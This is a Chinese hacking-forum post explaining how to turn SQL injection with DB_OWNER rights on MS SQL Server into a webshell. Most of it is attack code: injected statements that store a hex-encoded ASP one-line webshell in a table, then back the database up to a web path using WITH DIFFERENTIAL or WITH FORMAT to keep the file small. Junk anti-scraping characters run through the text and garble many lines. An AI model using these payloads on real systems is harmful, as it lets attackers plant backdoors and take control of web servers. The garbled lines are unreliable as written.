找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2064|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:. R* J2 W# e+ K% y  H2 U

: h* x6 t$ ]. D减少备份文件大小,得到可执行的webshell成功率提高不少
( A1 m8 B$ g7 s* x- B" I) |- ]一利用差异备份
) A# t+ r, `0 |& a+ b& l加一个参数WITH DIFFERENTIAL/ i. u$ H: R( b& H

9 h% E. z) T+ n/ g* ]6 ?1
' F' N) f% N- @, B# m2
: A5 n5 J$ K/ J7 u3
8 [# q9 Q3 D7 H4) i( D$ q/ E; h1 h( d2 Z5 T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
9 {/ z9 ]2 B, dcreate table [dbo].[xiaolu] ([cmd] [image]);
; ^6 J1 L) t" D$ B; s8 t; p+ v6 S, Pinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E). f2 R/ b% v' q+ @7 D; B
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
9 W1 j% }$ q4 [. Q" E( H2 O5 g( k) j' x7 D. N; G6 A
二利用完全FORMAT
) H) ?: @- E' b& x加一个参数WITH FROMAT% {0 ?6 P2 |2 ]3 Y! A9 Y
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以- p% t# o2 I+ j7 M6 L3 A. H" J- G8 l

# x) W5 b1 `, B4 R  y1 h: R- t19 a8 D; L+ g- g
27 a" x3 B( V6 D3 }3 Z& h% d
35 n: @  g$ d- ?4 J( O5 t
4
2 s' I5 `# q  N( {8 j declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 _: i8 ^8 O2 Z8 Screate table [dbo].[xiaolu] ([cmd] [image]);+ u0 J2 A0 M' j( j
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
, j  F1 D" W1 Cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
$ J! G8 J* f6 c1 T$ o; K5 r7 @5 ]. I# C- @! U" T* ~/ P
总的来说就是那么简单几句,下面以备份数据库model为例子' ^8 c7 q+ j9 Y- v4 \" N# j
12 R7 z! L9 J: J5 t; N; P& h
3 m, M1 A1 q# l  V  t
1
; d& a- _  w9 g, R% w id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
: \0 u  X/ H4 |% @+ C$ G' p$ b/ R6 j$ Q0 m$ k/ C5 `, r
2
  r8 l8 O. [) a  P. p+ u6 l# V9 o
1! P# j3 u% @4 u  ]
id=1;backup database model to disk='你的路径‘ with differential,format;--   ^/ g! _, c( s$ K+ D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表